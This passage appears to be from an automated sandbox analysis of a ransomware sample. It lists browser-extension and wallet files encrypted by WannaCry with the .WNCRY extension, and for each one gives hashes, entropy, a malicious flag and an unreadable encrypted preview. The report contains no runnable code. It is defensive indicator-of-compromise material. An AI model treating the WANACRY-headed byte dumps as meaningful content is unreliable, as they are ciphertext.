                                                                                                                                                                              Preview:WANACRY!....n.5?..7..;F.yB.P.KQ.zv!.Yd...!.ib.....=.Nj.N......e}Iq.......N ......j...!.:....G....r[...........I`(.1....~..1...].%%....?v,.`.g..K.;.....3{..9..@ k..VA..p.....[..b...a...D......c..%..M.F6T...].=....H9...M.g....%.8.`..I....%.....!0.%..\..Ce!..............6.c...........D8.+o.. ..B.Pj..Q>K..H._.y......]..:....O..^'.....&..v!"._.&...D..H>:.....$.\L.h.i..k.X...F.~.1.>.q|..~......i*pT........z..R.{*..JE."..QZ...`$....4..a.@..>...... "...;...?.&..a..7.&....I...eo.e0..).(....8'[.:(.A.:..vo...5s.^..)....;...:O$..z.K.1...W..v.....<.qm.a+....P.....m.[...U.j.pn9.n.:..]...Id."...|6.P.c..+..5......8..*.S............zpk.ya.)..]...E%.o...l.....^..4Nt2.v8t..jD.z..c...N.WC&f$.4..'..g....C..|.A.m.k..<y/U..*.i.x.Z._A..K.W'.M.........s.*y...<=.+...).m.17....)....6....@...IN.Os.?H.i...&.........C.:.>.....i.}...d...8A......1.Q..h|.M'a^..5..9..>...)..............C.X`"...v....b..9oMc..u..6xU.0.uZ..w....#..Z..l!......[.......5..+.G.y....J-.u.)........I

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-LIGHT.svg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):112328
                                                                                                                                                                              Entropy (8bit):7.9983305033412275
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:SsKzkY7Fo3PBy/LDdDS/5rP7vynjzWAQ91RfCqWH9zZ0HFWbF9hHoDwOuJ3gtIcQ:Ssq3ZCqLJe5rP7wLQ91/WH3+8RkwObbK
                                                                                                                                                                              MD5:B116A46E583B0CC8F77603940BD0C051
                                                                                                                                                                              SHA1:A873E77AA2517CD918A47D7C745885F21FBEBC4F
                                                                                                                                                                              SHA-256:D4B38C3EB9902465C1416FE0ABE4CC270055AEAB98A967504E6159D18BE7C461
                                                                                                                                                                              SHA-512:C0B85ECB9C5D3744737E55C9BD7A41D6459CA0879FDBC9528F29DE44C0755608F9C08A043817D4A6D0431D701BF8A300C41505D0AEF1CA638624C2336523E46E
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....L.,....]I....,......>......H.>.d.....2....].F.....).......W{.[+'...I.X.EJ.._R.T.S..yza.U[..p....Y.\.. K.")C....\.eO...s....<m..y$.N....n$../.....9....,Y.....|..eO...6.%...-(r.X.f..D..+...|..J..;q8..c..=.F..........T,8n..........+..W24.............EGe.0..S....g;...$...'....|...:..."..u..=...cQ.......m.nf.w..U...:.I)..jI.......*.~;..3....e........n...'.z^lu1\J9....q..m..q.....j......`Q..Nz/.\H.pIM]V....A..x}WW.D...'.HIQ4...`...g..W.."....7?..~..E..g.Dki.<A._.....Y...8.cox.x..|P..{5?......."..".....z..<.dfY....H?.}.m.T..<.....T...y..(.=....?Ug.'.J![.FW.$j..y_.|..$...6.,N....{.Ha.6,.....S.Y.Y......U..1.;.:..W..K...#..ZM....Ni....$..q5O..mc.n.4.m.\cs.u.....Z.|)......-....,s..d'..~xC..AB.~..qvm.SWLf...({k..Vr.....:-M.x..`.Sy...K....&$.$PYg:..D......2^I....'W..Xc>.3T7G.!vvC1F./..6..b..._I E.};.2'.?S...Hog..+...2 ......._.C.......^.#....V......3o.6....ao.A.^h....~f}9..K.f0%".....d..w.....v...0.;...`..g..s.(.{(...Ue.'l.;..z....T.P2.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):544936
                                                                                                                                                                              Entropy (8bit):7.999652782622003
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:9R7vFp83d+RbD+Jkn1CVmysMckJM0hDJaJ3gh:rvud+5iKCVmChJLK3gh
                                                                                                                                                                              MD5:50338591AF132A85EE72379111961128
                                                                                                                                                                              SHA1:E7E1B97D911E673AD0FEC1962430E9B7B87A4B06
                                                                                                                                                                              SHA-256:AC9C225162C70704D779704D4BBBC03D8CB5CDF67C4F0E3AD8B5829A077A7F38
                                                                                                                                                                              SHA-512:C105894C825E6CE887289C2FE55051A6ECDE315EA6D779AD7FC6E0C38167640519FD23A7C51D3FC8F0A5D8F7059E828154B0EE97EB3709C4CD11964DF15E4A7C
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......-.kn..'..I...`..[...v..$......S..D_.$.!.......n..ip...~&....^G+-.B.1..:..L........3V..c'..fI..._.P#.,$.pQO.........3..4M.VPh.\u~.......k.S.....t.Q...W....&t.....<..l...r/..\k.'...+R?......$y>.Q..l#.....tH.I..=.1K....0*..q..Bi.:.I..~....[.......O......,..}...8.o.3..Z@O...........%pQ..g)(m.wUFv..5f5.*.%..C...y.2=..d..rW.Q....I.a.....>5...{.S.....h.......q.......F.e.q...NFK].(....|g.g..J..@..).L0.....y..7......a-.W....|w..(.D.)......7B.%z.........A..M..5u..}i?.. ..B.........F.yt.c.....V.E5.G.r.E=..s.".v{.T..9.T.J..~..).O...J..&r,.&...e-...&L.9..q.ef.25.\P.....SD-.3.H..0.>.Y.[,.).!..ds....s{p.U_=..B.@T.^...N.*_.6....y.R>.w....M/...!..X.a5..}.e.../8.....Z.J..b.*WD^4..Jr.{M..B..j+.-.\.*#y(G`...Ok.U bMn0..?C"=..:...b.Xq.r...C......p........0^\.-F4`.nN...=eq.2....l..."W.......B.._..-....v..b.O..c.r.8..Fnt9...$...ol..CU#....../s1.....7U..`..L....V_.L.N...#..%..j....n...IM/.c...ly.1.C.;.......>.....6J......>n.1o...;...l.q....

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_window.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):261608
                                                                                                                                                                              Entropy (8bit):7.999286731989303
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:I1NWYxMPJGh0qlHsX3PAhduNUYbo4HcUerp+zpTzxE71k9d+7dZ9YrvvmZH1k+qW:YFa8ZhGUA8UNxE7C9dAbYjwm+qp+UfsF
                                                                                                                                                                              MD5:74BE8A71C651C524B77BFC048E6C2088
                                                                                                                                                                              SHA1:31E9984BCC5EC39CE00300AF17890842E65D6FFE
                                                                                                                                                                              SHA-256:5D6A632A858C955E8284DACB93479C7BB9E75020B6940A6EED4310655224624A
                                                                                                                                                                              SHA-512:7732128FD34A3C39B388EB1C454B3F56EE59D1ECCE398EDD2EE8B41B64B151F9DA7D67E8D7E873763EF930A226FDCA2811BEA60B93324CE7F157B13062749692
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....s.<....6.T:.i.....)."d.?r...':N......Bn.ToKU]5..S......I.y.fv..}...X.M...xpE.).Yz....J.....=...$`.+$..A.uc...cJ..^.G....?...N;....f..V.0...6!Ijd....d'q.....~dPg.,.z.t.B.4......Y..$..o.r.....?.....w....3P..1y.c.s..x.....F...F../...@.I..P.....D......V............. 5..!5.......Sg.>......<.{....(&4......._{......S7m.....AL:b.."....L.L 6`<....qX..a`...}../n..ev..%...l..&.V.m...a.X....o.!.m..#L..;....\g`.......c.:.].....X...p..'L$~.....?.W.6.h0v....W..}.k.o[..?...&4......=;.6S..2.".5..p......>@...Ep....eq@..|...j.ST.....}......6E...,..1Y..B.o.a.+..,Z-..@,..L.......5X...)2PrBh...f.H....f.....F..[*..K.....o.q......~..u.X...q.7..N....',.....w..$.M.\...W. ..v..l.@.Q...?G..^.=..6.C.wt..:4[.....4N.....$k............pJp.......Q.Q...U..IV..f......xR.....R]...R.S....%F...6HZy..h[..asA.F..........X....0.?O...f...*.H..7H.~(.RSJ.6Ws...x..R9_.$..k....x."4tE..T.-O.Y?@.....R...t=.!c..>.Km,..?c.?.........,D&..Wr/..X./s..qy].'{......=.2..p..pA{K..aEw.#..'..-h.f*}..C

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\flapper.gif.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):70648
                                                                                                                                                                              Entropy (8bit):7.997471106549675
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:is2uFAvJR+8o/KRbjP3+gMOwo1KA+xz66I5pO9uCoHYx85r9FoK:iBoAvJayRXPlAtz668LHY4r9qK
                                                                                                                                                                              MD5:004E2CC495192EA74039DAB5C850DC79
                                                                                                                                                                              SHA1:1D18E72E1DD4C49E187C3D74D15FBD05C8E81A3F
                                                                                                                                                                              SHA-256:B05BC2BF7EFFC66515FF11F775B81259F7331DF95FFC06FC18F5FDA9E3C048B6
                                                                                                                                                                              SHA-512:7DB36FC1238C54C80AA4F3DDA5C2F9EF350B5BDE1C29122FB823BD00851E283DF74CEB863154E13E89FA765BCC5CF2AF4CEC2393806E5ADF8B51BBA61C13CD1E
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....q....Z...w}.+..P.4....L.Hi.v.:H..}J/.....M`..\zq>|.....Bt^'.f....92;q.".>...".bG..b.I.......1..;.yE....@."..Wh..!r.....IW.h9.r.....iM....Ne.u../MD)7.rt...o..j.n.*.....f.5]....e...m4.W..x{([.l....dS.V....8n...g...z.r..Nf....2v....|).....[E.................t^\........K.M~.7.T8....G.-u...y.-.....RD.3.t..).&g...K.Q..DJ..!..M...{..K."H./..9..'.....1I.u_..0....9..M{vK.....p.(.].Y...Fy.:.dLM.......9U...0.T....r.[........<9V..-.N^R.|....kZ.mo..[....b..r.$o'..U*..5....*...>A^..dLn`...v.jm.$).......@C...f...s.m.0\..*.Pr....6.......%G.X......_.Q>..4.B.d...{.o.......".8...&...j.G+i!>.Gj....9. ....B.......-.5.c.......Y.`~..7h..I . .. .F.4.= B%zY.....=......X..Y/5..b.#y..* .......X.1.w.Pz..Z......2...\D.Q....E...L.W..A..1......x.O.1..~..#..=..Vg.`D.<.*....k.<..}|...(O&.[D.q{HV.}....h.....m.o....2=&.;.....T....\}J..i..G..v!.W..Y.d.....?.....U ...}T.U........)...B..p.p&"......|.d..|..s...A|.x.#0..c"=....^l...5v..q.Bg.U.....GH.4...u{...../.....&..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\icon_128.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):4648
                                                                                                                                                                              Entropy (8bit):7.9588927357840324
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oCY5zWAorQer0iNzNIh5J5iXR7/EUSEZvG5yB6jiGhBpgtwXNQdj4csa:udYcer0isOR7vpcyp6Bp7XNQdjOa
                                                                                                                                                                              MD5:E19F91CF882984BD5FDF8370542DDE2A
                                                                                                                                                                              SHA1:3F0EDDC74235C9DFE07C5EA973759DB819724CD8
                                                                                                                                                                              SHA-256:1E5B72303A2907BEECD29B7D493BB975CCAF1F2A804A92779E2210D2CCACE9CE
                                                                                                                                                                              SHA-512:8627A46ED5C8E56D53EC5E04E1905F37A5BF7C3744706E044D2BD50E1D8C64D9A4BB69E0B9AF25BBBF6459774AE67B777D3F7B1BF84D671CC24F493F6F7E91F4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......F....U....P...>:L.(...\.7.....%..U..No..3.,...H}.p..P....>....tC.&...{..r.d~W.#.R..$Q..'.S.Z..F\....P........G...SU..~qc.l=..N.......D.....dr..Oj4v=w.....d.,.....T.......A....Y.u.)..1..p.i._....A...{.:$.u.(..r....=....ktC.....k.....ez..4.....T.{...............F.d...%p....JY.uK.v.8.O.......W.)A..(......Ha....d..Q...I..'..........njF.Gr......5;#j.*......../..2$6.}.,....m..].P.j-m+k..3........../.<..m.qo...*p.*\.........C.pqg..W{[z.....Z..M..O.diG.-rT......o..j.I5W.)..M...8M.`_.....D|....[....n....2.@...=.;TH...%O..3^..8#..B.Y...?....}.1...b...U.O...E.fT.`UM.;.;........;...+0<....T...#R.%.u..e..X..F...@O..4M.[ce..Rh......fg..CC..C[1{.3@..a.p..... o...d.?..k.eL.va ..t.@.^ph.o=..G..c..1.HU.I#.........5.....4.7...s.9s@R.....r.G..He..0K.d.......o...g^X.EJ.....>.Y+.Lx.YX..~6.x.JR..R...JK...M.._...l.....A#:b.r;2.u..{1....}.w..m.....+V_t...~x....C.3...w`..+..K6.V...W...W&!.....-g.gM|...:a....M.y..I..........q..RH~...!.]d.f..m!.;(N

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\icon_16.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):840
                                                                                                                                                                              Entropy (8bit):7.7582203628528354
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkSKgu9HhMkMZHF4qeR9mTt8FQax8VSdwBq4:bk3MhZl4qDTtrZsdwBq4
                                                                                                                                                                              MD5:171D426BA18FA656BB19331E94277CD9
                                                                                                                                                                              SHA1:A019E4E2051DBFC22E4686D9B068E19C668BCC69
                                                                                                                                                                              SHA-256:4AA4B8A6190B6CB81F9AECFB672888BC292DFE3A53C23C29FC00FA818DE4B3BB
                                                                                                                                                                              SHA-512:5F2E315D37181CC2B95DF4B5B31D92BFA53CD445F7BAE124EC94FCA8855284F5ED0182D82533A9B82F96E223012A3990E393A4CC22ECE624B996445F9BE86042
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........\.;.H.o.on..O..Qw).Ym..... .........1t.}.niO6khK3...'..,e..L..k..........;.Q?..X...w...0...).%.:l..L...o.J.kO.%.!.[.C@:.....#.....I..'{.....*.=..Hg.......%...:.....2.D..r..=iXQ......}".Z..\..z)...F..=.w..".O.....-+..d......t...Wf..................l..Q.u..KZ..H1N.P.2..........\...\.n..^w.%.U..w.....A1..Aa}76ErL.....6...E/......e.j.h7....R.....(.q...N...R...A.8 .L.#EU.Z....dwi..z.J8....+G.j.)7r..T.$j;...^!..J...4.W!:.n......V.\..8b.4#L....-z.Y.P[s|...9........{.."..\?.J..2..D...M....xU.B...]qe.. P.6...."..]..M....)..Mos_.#.9...=...3.j^.....p[.i5.Y.*.g$.*m.jZ*.8D.;..T-..R!V.%.iA..L.>..GB...Mv.m.+".....N..E..}T&.T.A..2e.:OA.}].C....8O..Z.I]H...yk.m@.d.xa.S......;...e}.g..r.L.L.......a.*JQ......+.8o.s].{V..ik.O{..2.M_.!/$...N.(........cs_....o9.CE+..x......s.z1.t..([.:..L_.....

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\128.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):5272
                                                                                                                                                                              Entropy (8bit):7.964585465133687
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oN+wl14Y+EFhGqxfXW8E+ryB5mQ/ywScBzzOSLg6kXTQty8vLjxATVXDifX6cO:K7l1KEFzPFmWVcROSqQ08TjxwVXDoqcO
                                                                                                                                                                              MD5:851650681BDD8E429FDF6FF036FA99DF
                                                                                                                                                                              SHA1:D8578AF5F0A6E7BFAF3CCD578A6AC9DAFDE7132F
                                                                                                                                                                              SHA-256:F4D8B982CFFC6AF62295BBC7B83F9D343C3918A305B0959898334B40FF1631D4
                                                                                                                                                                              SHA-512:19944723BBFD043617246ECF3C89B02E8D2DD399B2A7B0B4BDFD302EEEAD1D5B2489CF0A92D50BE4EB4FF9CB205E10297690C1C2B00E9E29274597CC9AB6E575
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........R..;..8.......a....3.':...RR../..Mg...u..2`~..+.d...3.o.=.B)2.U.....A....jD>....Q.....z......p...<Y@R?."....0?.P...._.G.{5^21iw......!.%<j..l.k0.L..xI...w..\.t:<.+..I..-..`l..W3../._...(..& ..U..,. .....A:...\.....FF.....F.W..^.....*.........v..............T..$.>AS...H{dz.LX..._..z ...LU.._...y|......1.BF..+......+.^ ....1....^.X......I'tf...;.|.[=!._........Q..v\ts.A'"..(A.^.j[..3W.5.*....G.@..n.......g.....y`.3..v.j..w..........:r..zWp0.DR..$....y.t..'.lh.+......r.ZO?.?..z.:.........EBU.-.u.n..{w.......CE.....E..A..fJ...+../.,.....#0."..N...-.j...2..y^...U8..........>../G....*.G.X.h.L0......#?..V.m..i.<~.f...m./.[....~..I.LV*.N.#u...6.\..=.&a3W......!XI.......{|..rI..+.b.as%........].;7.d.l... O...-........r....2...*.{...."k:G"b.@..W.R.+hT$=...K0..bOP....}x...,...h..^q.M.-.O.._)_.f....-.._-a...-...G..m+4Q...8.A.......{z#g.i.<....{.%..-."%,X...i..K..8.z.}.-.r..."..H&P....@/.o....G...~@.,..l.x...lY.[..|0(...Y........../Fi

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\content.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):9704
                                                                                                                                                                              Entropy (8bit):7.980557922359988
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:91kdDrXEN9xuSnuacEs5R8b47VyUMzXcRWuO7DzE7a1ORoBsTzjIr1KhacHiPkNK:91I4hcX5mbaVyLzXFuN7azmT3XC79
                                                                                                                                                                              MD5:E8817567266E8E76B9784CC811655173
                                                                                                                                                                              SHA1:2DF8B61F5151D4FFD114962519772F0722EC6F37
                                                                                                                                                                              SHA-256:7DDE5A4D96A13FAA395D31D8E78CCC726DFFA98B1931D3B2B6B43F9DA3E8203D
                                                                                                                                                                              SHA-512:7ACB8304D64C3E015182427A39C202882CD08C86131D89768BB6DD1D9645228C09CA3245B8EECAB14CD1C41B097154A612E7CBA4762F4A5CF203204BFE8A0E6A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....e.........eK...1..02..H.^.....n}pl..X].7j.6.~...q7.....V..H.......;.pb..t.(z....b..!Dtjw.K..p.';.=....xv..8........\....K.b...G...v......t..Vq..zV....I.OX.d9....]..S..?.^Q.......K..[...kF..b...OT.+b......m.*F.di..?>.x....\....N|C......%......9........$.........)._.[...Fj.e....0.2...-..'.......LT..2.........v.....1..f.s.g..aH..'.@.c3..].&...h.p4..Y....Kz.$ .>R...9....U.B.q`.D{x.3.<o8].|.z.=..Taep)...3...:..9&..e.XQ...*V{......... ...#2.T.0....5L..9k..1Lc...$.1.D.#....a7...[w....:..Fp@piq...Z.s..F....X.xp..qG..].u...)\..Q.....O.5J.W.&"..h.f7...)"..=P]j.E.C8R.X1..)...D.5........=..t...!~y...mF9...MVJ_V$.o.#.......|....N.#.V...$....>.}Z).x.....F..y.G.u$.h.N....J.T..:$+#..g...cO.6@O.`n=....p.S[.......Ff_.G...k:._;.{........]q,G.Sj...2...fa..... a..U..N[m.j...o...'..P.I.m.OFS....".&...U...WO.V6.!.6.%..N...,........V....U1".gG.j.o.|.D...ibNh..K..;|V..k2......Al17.^...l:..uPT.5...cl.R9..Ww.....a7C......c.\.'...=.kB..L..8<..N6L%..h..d..T

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\content_new.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):10056
                                                                                                                                                                              Entropy (8bit):7.9810126332869356
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:bC99Y6zhuyjV51rmXjjXrJwpFJA1E/uyxQEOz5/LYj:b69vhHfZmXdw7fQHe
                                                                                                                                                                              MD5:6D4C0E98F87FD4A64B68B7773898C22D
                                                                                                                                                                              SHA1:683F339F5FFF907D14E69BAAA08E610E2262B9A1
                                                                                                                                                                              SHA-256:F71F6A39326BA1141F4581AC006DB426DF92644501CAD45047B052FA91EA65C4
                                                                                                                                                                              SHA-512:D0A5D795CED7B8CA360C9E4E97E3CDA251C5174EBCAB4AC2530E0F0E012000FEA230946E42550CED8B67C5C9FBC0C14E801C5D128370A5CF08984928D3DF13F5
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....y.\..."#6...\..Y...0..~l.00..X.S..s..... ..WY..$.q.U.....q..=.s....|b....Zy....k..!.Qb.0.\.3..A../(.......YT.....6'9'e.Q.[..%....:.=.........,......:V...`*@r..!{.d...N%n...!'..%..,.F....RI.SK...D`............cm.3.].I@.v........(..,..9G4]!...IN......*&........}F.o.....L......AH..._.aj.x.K.}$.......G..&4.......d}..T.H3c.(.".@.7H............U..I".cv..X$5....Q...\....l.5.DKG....@m.N...sq~!..5..5.d.<.U9..Y?GE.+...D.......-...<c.f.n.)..;yr"G....AS.[.s..%.-.).IZ+G..<U.E..*.....4../1.........6*.7.R....i.a.r.ti....4.b...d.G..&..)..['6-1.ac.(..82...*......"o...|6...Ue.|..(.....<...x....~.5hkV....u.}u"...C.\.....n.$..../.-.".c.....+.v...T..e.....l...^..........~.%.mF]..6.}5...[_c...Pvn.C......n.p.~wU...HA[uYM..I.4....,|.`.T}zL.m4.h....;h......K1.._."...b.......^=..d....`.!...2..e.G.J.e.t_...'k?.....~..C"I..c..'.....;.i..Y..Vl<.. ....g.........X..>."9*..h"n.j.b..x`....O<0~.o..0.jw@t.'k.".......~U0V.[.u..7l.3.d{1.....I.....<...T.U...q].l)#

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js.LICENSE.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):584
                                                                                                                                                                              Entropy (8bit):7.6411365243899265
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkEK82vs2HjWE6I1iX/fhZmtoGt/GcTxgwDlmmnYCqVowDdbs:bk66cwO/fh0t8CDA17oqdI
                                                                                                                                                                              MD5:5F67E2A82A34648318E70156590D5FC8
                                                                                                                                                                              SHA1:9B36808091A59D95CF5C63F8ADAEE63AABE7F322
                                                                                                                                                                              SHA-256:BEB250F826874F4CF1A78A4197212BAEF1E77C050FFE0688C85DB6787FB5883E
                                                                                                                                                                              SHA-512:4388154F3CD96B871D71AA351F4A76AA83C7EAEB7CF01A58DD47C77E3F1F0F4ADCF9C2D375566EE5186872F6BF4A0DF36F0C968C65B3067024741B9D23854078
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.........i...U.v..o.&.hf..S....I<.t?..I.vI..!;..=.S.(.^..9w......pt...b...#.|..7.?*.'..%.,..%..V< .q...`..#..PW+J.a....F/.rU.7...2;.U#....y`..t-...O.....#....!L.Wi..Ae.Jc.....$.?+..ve.JC..,X...{........8.r.p.#K&..V+T0#....... ..iq.|.?..Ys......=..G6}....'..........\..\x....b.cb....P..j.z. W.d8.y..9..E.J.i.......l}.....f...i^.]..K7.l==2..w.[..2..}.....k[....[........Cm)R...t-K.r..l.9.....:.2.V7Fk!;...*.hGX^..L...N.4..k.....2Gy...N.5.8.8......&.I.....`T..]`6...l.Pe.....x3O'.t.4........f.2s.$C......G+....S......".$...H.c..D../._.......A....b....k.j=i%il.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js.LICENSE.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1608
                                                                                                                                                                              Entropy (8bit):7.880240501613133
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkBbrmEGBRPs3CR53NjPVO3wO9N73ne0RpALzWIcfIPLq5bcpg0ht:bkB/mw3A53NjPVOrN73nWBTqag2
                                                                                                                                                                              MD5:63C7FFA5223F1F2D58FD37212B142097
                                                                                                                                                                              SHA1:5AEBB8A89E34A9B5E71A78AD591AAF79B0A57F45
                                                                                                                                                                              SHA-256:D2A3DA311868A78362AD6FDE4E8E059AEDD58B350269CADB18C1E08776FA4F57
                                                                                                                                                                              SHA-512:B02A7E6EB944048647BA9874F03C41C27EA65D6D6B465A5135F5CEAC48C35AECEC653E19E041F6A462AAF92C767876C4A4B014E847166F16F54E72A5B2837FC4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......!c......DP2...v..~.Y.{.N|.GN....!H+.uwE..S....%...o_...... .._.y.H....s.....:..5.;....BMKJ."...*|..$..".J'...'.H+...H7;......9.E.9Y....3...E..p.=......yw@U|..r...a.q+0 ..#&.~..G:."..P...Y..:./x...z...kg.=.P..A...$.........(nD.8...r?..AE.....|......%.......:..o.o8sa#.....mUV....~..E8,.pwKS}.......Z...a ........~....+.,.U...'%..S...G..2*.-...z7a.v.`<.v...]H.C6...0..L.jc ..0(..H.......+8yci#..g....g_...1m.u.j.qY>.2&..Pk<..,..o@.......Z.6?........ ..D{~.4.m..;..a;.......!...D...y7.v..Q...L..$...'.sgl..V..._..kQ.......$W..z..EU.8.y7...z[.E.q..X~K^.|R,......a.^..{.l....P..Z...!..N..n|........K.n.B....l.. ...e.S.y@.$.N.."^y.o..!.q.....b.....A..|n-*.......x..&...9........!...j7....."..|.8#...[ElR].o.Od..K`.M.[..r.2.0.pQ.Z.?...ne............. k..#.1.:...fy..Bl.`......!..;,XS.....?.$6........2.K_.'.....1J]1.&..|....JXrk4.t.K /]<o.7.D.=e4t9.*..a..6.e`HQ4..H2b}.2..o.$....@........9..M.P.+t.u.&....4.]..N..Z.4.........0V:AF X..@....RX.5..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):493400
                                                                                                                                                                              Entropy (8bit):7.9996121960213475
                                                                                                                                                                              Encrypted:true
